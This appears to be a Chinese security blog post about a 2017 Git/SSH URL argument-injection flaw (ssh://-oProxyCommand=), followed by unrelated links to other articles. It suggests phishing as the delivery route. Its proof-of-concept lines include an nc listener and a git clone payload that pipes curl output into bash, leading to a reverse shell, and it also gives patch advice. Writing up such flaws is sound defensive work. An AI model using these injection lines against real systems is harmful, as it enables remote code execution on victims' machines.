Git命令造成的反弹shell

漏洞描述:

  Git LFS可以.lfsconfig使用LFS由存储库中的文件配置(部分),并且可以将Git LFS指向ssh://。

[lfs]
url = ssh://-oProxyCommand= some-command

  当使用这样的.lfsconfig文件克隆存储库时,使用LFS插件的Git将尝试调用ssh以从主机获取LFS对象 -oProxyCommand=some-command。然而,SSH会将该主机名解释为一个-o选项,并随后尝试调用some-command以建立连接。

  这样的话,可以通过克隆存储库的Git LFS客户端的精心设计的存储库来执行任意命令。

  通过在新项目中导入存储库,ssh://可以在GitLab主机上执行URL服务器端代码执行。

利用方式:

  远程钓鱼,社工

  恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码。

漏洞证明:

  反弹计算器

git clone ssh://-oProxyCommand=gnome-calculator/wat

  进一步利用

  本机测试环境

  先建立监听

nc -vlp 

  利用git clone 获取镜像库

git clone ssh://-oProxyCommand='curl 127.0.0.1:9999 | bash'/xx

命令被成功执行

建立连接之后,尝试执行反弹shell命令,同时监听新的端口,完成反弹shell。

漏洞修复建议(或缓解措施):

Git:升级到Git v2.14.1版本

Apache Subversion:升级到Subversion 1.8.19、Subversion 1.9.7版本

Mercurial:升级到Mercurial 4.3 and 4.2.3.版本

参考文章:

https://help.aliyun.com/knowledge_detail/57887.html

http://bobao.360.cn/news/detail/4260.html?spm=5176.7757887.2.2.IkQv67

Git命令执行漏洞的更多相关文章

  1. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  2. HFS远程命令执行漏洞入侵抓鸡黑阔服务器

    先来科普一下: HFS是什么? hfs网络文件服务器 2.3是专为个人用户所设计的HTTP档案系统,如果您觉得架设FTP Server太麻烦,那么这个软件可以提供您更方便的网络文件传输系统,下载后无须 ...

  3. ASP代码审计 -4.命令执行漏洞总结

    命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip" ...

  4. Samba 4.x.x全版本存在命令执行漏洞

    Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发 ...

  5. 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

    手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...

  6. JBOSSAS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)

    本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程 仅供学习 文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-1214 ...

  7. Kali学习笔记30:身份认证与命令执行漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 实验环境: Kali机器:192.168.163.13 ...

  8. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  9. ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用

    ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用 ThinkPHP5.0.21&5.1.*  exploit code execution and command ...

随机推荐

  1. POJ 2253 Frogger (Floyd)

    Frogger Time Limit: 1000MS   Memory Limit: 65536K Total Submissions:57696   Accepted: 18104 Descript ...

  2. Luogu P2575 高手过招

    题目链接 \(Click\) \(Here\) 关键在于转换成阶梯\(Nim\)的模型.最开始把题目看错了,理解正确后发现棋子可以向后跳不止一位,那么就比较简单了. 这里把空格看做阶梯,棋子看做硬币, ...

  3. 字符缓冲流BufferedWriter BufferedReader

    //字符缓冲流主要用于文本数据的高速写入 package cn.lijun.demo1; import java.io.BufferedReader; import java.io.FileNotFo ...

  4. CodeForces1065F 树形dp

    http://codeforces.com/problemset/problem/1065/F 你有一棵带有n个结点的树,根是结点1.有一个标记,最初在根结点处.你可以将标记移动到其他结点处.假设标记 ...

  5. awk 处理文本:行转列,列转行

    [root@centos ~]# cat f 1 2 3 4 5 1 2 3 4 5 1 2 3 4 5 1 2 3 4 51 2 3 4 5 awk '{for(i=1;i<=NF;i++)a ...

  6. BBS总结

    表设计 from django.db import models from django.contrib.auth.models import AbstractUser # Create your m ...

  7. hihoCoder #1465 : 后缀自动机五·重复旋律8

    http://hihocoder.com/problemset/problem/1465 求S的循环同构串在T中的出现次数 将串S变成SS 枚举SS的每个位置i,求出以i结尾的SS的子串 与 T的最长 ...

  8. Part-Ten

    1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12.

  9. vue使用vue-awesome-swiper及一些问题

    vue-awesome-swiper是基于swiper的一个轮播图插件,使用非常方便. 首先安装下 npm install vue-awesome-swiper --save 然后在入口文件main. ...

  10. Lua的协程基础

    参考:Lua中的协同程序 coroutine   http.lua 协同程序(Coroutine): 三个状态:suspended(挂起,协同刚创建完成时或者yield之后).running(运行). ...